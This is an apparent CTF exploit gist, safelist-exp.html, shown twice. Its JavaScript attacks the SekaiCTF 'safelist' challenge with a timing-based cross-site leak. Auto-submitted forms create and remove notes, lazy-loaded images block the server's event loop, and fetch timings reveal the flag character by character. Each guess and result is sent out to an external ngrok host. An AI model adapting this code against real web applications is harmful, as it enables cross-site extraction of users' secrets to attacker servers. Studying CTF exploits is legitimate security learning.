aszx87410/safelist-exp.html Secret

## safelist-exp.html
<!DOCTYPE html>
<html>
<!--
  The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.

  If images are loading, the request to "/" is slower, otherwise faster.

  By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.

  We can use fetch to measure the request time.
-->
<body>
  <button onclick="run()">start</button>
  <form id=f action="http://localhost:1234/create" method="POST" target="_blank">
    <input id=inp name="text" value="">
  </form>

  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
    <input id=inp2 name="index" value="">
  </form>
  <script>
    let flag = 'SEKAI{'
    const TARGET = 'https://safelist.ctf.sekai.team'
    f.action = TARGET + '/create'
    f2.action = TARGET + '/remove'

    const sleep = ms => new Promise(r => setTimeout(r, ms))
    const send = data => fetch('http://server.ngrok.io?d='+data)
    const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

    // start exploit
    let count = 0
    setTimeout(async () => {
      let L = 0
      let R = charset.length - 1
      while( (R-L)>3 ) {
        let M = Math.floor((L + R) / 2)
        let c = charset[M]
        send('try_' + flag + c)
        const found = await testChar(flag + c)
        if (found) {
          L = M
        } else {
          R = M - 1
        }
      }

      // fallback to linerar since I am not familiar with binary search lol
      for(let i=R; i>=L; i--) {
        let c = charset[i]
        send('try_' + flag + c)
        const found = await testChar(flag + c)
        if (found) {
          send('found: '+ flag+c)
          flag += c
          break
        }
      }

    }, 0)

    async function testChar(str) {
      return new Promise(resolve => {
          /*
            For 3350, you need to test it on your local to get this number.

            The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold

            If starts with "A", the image should be loaded because it's in the threshold.
          */
          inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
          f.submit()

          setTimeout(() => {
            run(str, resolve)
          }, 500)
      })
    }

    async function run(str, resolve) {
      for(let i=1; i<=5;i++) {
        window.open(TARGET)
      }

      let t = 0
      const round = 30
      setTimeout(async () => {
        for(let i=0; i<round; i++) {
          let s = performance.now()
          await fetch(TARGET + '/?test', {
            mode: 'no-cors'
          }).catch(err=>1)
          let end = performance.now()
          t += end - s
          console.log(end - s)
        }
        const avg = t/round
        send(str + "," + t + "," + "avg:" + avg)

        /*
          I get this threshold(1000ms) by trying multiple times on remote admin bot

          for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
        */
        const isFound = (t >= 1000)
        if (isFound) {
          inp2.value = "0"
        } else {
          inp2.value = "1"
        }

        // remember to delete the post to not break our leak oracle
        f2.submit()
        setTimeout(() => {
          resolve(isFound)
        }, 200)
      }, 200)
    }

  </script>

</body>

</html>
	<!DOCTYPE html>
	<html>
	<!--
	The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.

	If images are loading, the request to "/" is slower, otherwise faster.

	By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.

	We can use fetch to measure the request time.
	-->
	<body>
	<button onclick="run()">start</button>
	<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
	<input id=inp name="text" value="">
	</form>

	<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
	<input id=inp2 name="index" value="">
	</form>
	<script>
	let flag = 'SEKAI{'
	const TARGET = 'https://safelist.ctf.sekai.team'
	f.action = TARGET + '/create'
	f2.action = TARGET + '/remove'

	const sleep = ms => new Promise(r => setTimeout(r, ms))
	const send = data => fetch('http://server.ngrok.io?d='+data)
	const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

	// start exploit
	let count = 0
	setTimeout(async () => {
	let L = 0
	let R = charset.length - 1
	while( (R-L)>3 ) {
	let M = Math.floor((L + R) / 2)
	let c = charset[M]
	send('try_' + flag + c)
	const found = await testChar(flag + c)
	if (found) {
	L = M
	} else {
	R = M - 1
	}
	}

	// fallback to linerar since I am not familiar with binary search lol
	for(let i=R; i>=L; i--) {
	let c = charset[i]
	send('try_' + flag + c)
	const found = await testChar(flag + c)
	if (found) {
	send('found: '+ flag+c)
	flag += c
	break
	}
	}

	}, 0)

	async function testChar(str) {
	return new Promise(resolve => {
	/*
	For 3350, you need to test it on your local to get this number.

	The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold

	If starts with "A", the image should be loaded because it's in the threshold.
	*/
	inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
	f.submit()

	setTimeout(() => {
	run(str, resolve)
	}, 500)
	})
	}

	async function run(str, resolve) {
	for(let i=1; i<=5;i++) {
	window.open(TARGET)
	}

	let t = 0
	const round = 30
	setTimeout(async () => {
	for(let i=0; i<round; i++) {
	let s = performance.now()
	await fetch(TARGET + '/?test', {
	mode: 'no-cors'
	}).catch(err=>1)
	let end = performance.now()
	t += end - s
	console.log(end - s)
	}
	const avg = t/round
	send(str + "," + t + "," + "avg:" + avg)

	/*
	I get this threshold(1000ms) by trying multiple times on remote admin bot

	for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
	*/
	const isFound = (t >= 1000)
	if (isFound) {
	inp2.value = "0"
	} else {
	inp2.value = "1"
	}

	// remember to delete the post to not break our leak oracle
	f2.submit()
	setTimeout(() => {
	resolve(isFound)
	}, 200)
	}, 200)
	}

	</script>

	</body>

	</html>